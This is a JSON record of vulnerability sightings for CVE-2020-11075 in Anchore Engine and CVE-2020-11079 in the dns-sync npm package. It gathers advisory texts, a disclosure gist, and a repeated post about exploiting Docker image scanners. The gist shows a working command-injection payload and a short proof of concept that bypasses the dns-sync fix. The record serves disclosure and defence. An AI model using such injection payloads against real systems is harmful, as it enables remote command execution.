{"vulnerability": "cve-2020-1107", "sightings": [{"uuid": "b78a0890-f5b3-4871-9c4b-f47406437906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-11075", "type": "seen", "source": "https://t.me/cibsecurity/12351", "content": "ATENTION\u203c New - CVE-2020-11075\n\nIn Anchore Engine version 0.7.0, a specially crafted container image manifest, fetched from a registry, can be used to trigger a shell escape flaw in the anchore engine analyzer service during an image analysis process. The image analysis operation can only be executed by an authenticated user via a valid API request to anchore engine, or if an already added image that anchore is monitoring has its manifest altered to exploit the same flaw. A successful attack can be used to execute commands that run in the analyzer environment, with the same permissions as the user that anchore engine is run as - including access to the credentials that Engine uses to access its own database which have read-write ability, as well as access to the running engien analyzer service environment. By default Anchore Engine is released and deployed as a container where the user is non-root, but if users run Engine directly or explicitly set the user to 'root' then that level of access may be gained in the execution environment where Engine runs. This issue is fixed in version 0.7.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-05-28T02:55:18.000000Z"}, {"uuid": "3bd397bd-9753-4cb1-a1a3-d17f75057e45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-11079", "type": "seen", "source": "https://t.me/cibsecurity/12380", "content": "ATENTION\u203c New - CVE-2020-11079\n\nnode-dns-sync (npm module dns-sync) through 0.2.0 allows execution of arbitrary commands . This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. This has been fixed in 0.2.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-05-28T22:55:28.000000Z"}, {"uuid": "1bacc97b-c92e-41cd-8445-594bc1e76231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-11079", "type": "seen", "source": "https://gist.github.com/moizxsec/c42bfada3bf659de639c1c1c2ff88abc", "content": "# dns-sync 0.2.1 \u2014 OS Command Injection (Bypass of CVE-2020-11079)\n\n## Package\n- **npm:** https://www.npmjs.com/package/dns-sync\n- **GitHub:** https://github.com/skoranga/node-dns-sync\n- **Affected version:** 0.2.1 (latest)\n- **CWE:** CWE-78 \u2014 OS Command Injection\n- **CVSS 3.1:** 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Summary\nThe hostname validator added in v0.2.1 to fix CVE-2020-11079 is ineffective due to a \nregex-escaping bug. Shell metacharacters pass validation and are interpolated unquoted \ninto a shell command, enabling arbitrary command execution.\n\n## Root Cause\n\n### lib/dns-sync.js line 9 \u2014 broken validator\n```javascript\n// \\. in a JS string literal collapses to bare . (matches ANY character, not literal dot)\nvar ValidHostnameRegex = new RegExp(\n  \"^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$\"\n);\n```\n\n### lib/dns-sync.js lines 50-52 \u2014 unquoted shell interpolation\n```javascript\ncmd = util.format('\"%s\" \"%s\" %s %s', nodeBinary, scriptPath, hostname, type || '');\nshell.exec(cmd, {silent: true});\n```\n\n## Proof of Concept\n```javascript\nconst fs = require('fs');\nconst dnsSync = require('dns-sync');\n\nconst marker = `/tmp/dns-sync-poc-${process.pid}-${Date.now()}`;\nconst payload = `a;touch$IFS$9${marker};a`;  // passes the broken validator\n\ndnsSync.resolve(payload);  // returns null \u2014 silent to caller\n\nconsole.log('RCE confirmed:', fs.existsSync(marker));  // => true\nfs.unlinkSync(marker);\n```\n\n## Expected vs Actual\n| Input | Expected | Actual |\n|---|---|---|\n| `a;touch$IFS$9/tmp/pwned;a` | Rejected by validator | Accepted \u2014 command executes |\n| `google.com` | Accepted | Accepted \u2705 |\n\n## Fix\n1. Use a regex literal instead of `new RegExp()` string:\n```javascript\nvar ValidHostnameRegex = /^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$/;\n```\n2. Ideally avoid shelling out entirely \u2014 use `child_process.execFile()` with an \n   argument array instead of `shelljs.exec()`.\n\n## Prior Work\nBypass of CVE-2020-11079 / GHSA-wh69-wc6q-7888. npm audit reports 0 vulnerabilities \nfor 0.2.1. No existing advisory describes this bypass.\n\n## Timeline\n- 2026-06-02: Vulnerability discovered and PoC confirmed\n- 2026-06-02: Maintainer contacted via email (bounced)\n- 2026-06-04: Reported to Snyk for coordination", "creation_timestamp": "2026-06-08T10:21:08.000000Z"}, {"uuid": "75e91392-6df4-4070-9fe7-97dd8fa231ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-11075", "type": "seen", "source": "https://t.me/cissp/1536", "content": "Collection of ideas and specific exploits against Docker CVE scanners\n\nTL;DR\nMost Docker image scanners make use of shell access, run package managers, if you run it on the Dockerfile you don't know you could expect. Running them on untrusted code can lead to command execution, some of the scanner providers don't consider this an issue, they (probably rightly) expect people to expect this. However, keep this in mind whenever you use these tools, especially if you add it to your CI/CD pipeline or other security automation where this might become an issue, most likely to escalate privilege or attack your CI or security automation itself.\nAll issues have been fixed by the vendors or considered as not a security issue\n\nIdeas if you have to exploit such tools or think about how attackers would\n \u2022 Anchore runs as a service, attacking it is more interesting because it might have its own rights or could be a way to gain persistance. They do not run package managers but there are shell shananigans non the less. This leads us to CVE-2020-11075, which is specific to them but shows how scanning docker images is hard to defend.\n \u2022 For scanners, such as FOSSA, Snyk or WhiteSource, that run package managers directly to resolve dependencies, you can obviously run commands through gradlew or Podfiles\n \u2022 The example for Snyk shows how running docker commands to examine the images can result in code execution. But in general shelling out often is usually a bad idea for security.\n \u2022 Similarly exploits on WhiteSource show how you can execute commands either by tricky directory names or again by manipulating (through injection) values that will be arguments for shell commands.\nhttps://github.com/gmatuz/cve-scanner-exploiting-pocs", "creation_timestamp": "2026-09-01T17:01:11.643985Z"}, {"uuid": "f35fd3f1-c824-4ce0-8bca-0c8c09e37a13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-11075", "type": "seen", "source": "https://t.me/cissp/1536", "content": "Collection of ideas and specific exploits against Docker CVE scanners\n\nTL;DR\nMost Docker image scanners make use of shell access, run package managers, if you run it on the Dockerfile you don't know you could expect. Running them on untrusted code can lead to command execution, some of the scanner providers don't consider this an issue, they (probably rightly) expect people to expect this. However, keep this in mind whenever you use these tools, especially if you add it to your CI/CD pipeline or other security automation where this might become an issue, most likely to escalate privilege or attack your CI or security automation itself.\nAll issues have been fixed by the vendors or considered as not a security issue\n\nIdeas if you have to exploit such tools or think about how attackers would\n \u2022 Anchore runs as a service, attacking it is more interesting because it might have its own rights or could be a way to gain persistance. They do not run package managers but there are shell shananigans non the less. This leads us to CVE-2020-11075, which is specific to them but shows how scanning docker images is hard to defend.\n \u2022 For scanners, such as FOSSA, Snyk or WhiteSource, that run package managers directly to resolve dependencies, you can obviously run commands through gradlew or Podfiles\n \u2022 The example for Snyk shows how running docker commands to examine the images can result in code execution. But in general shelling out often is usually a bad idea for security.\n \u2022 Similarly exploits on WhiteSource show how you can execute commands either by tricky directory names or again by manipulating (through injection) values that will be arguments for shell commands.\nhttps://github.com/gmatuz/cve-scanner-exploiting-pocs", "creation_timestamp": "2026-09-02T01:05:01.681153Z"}]}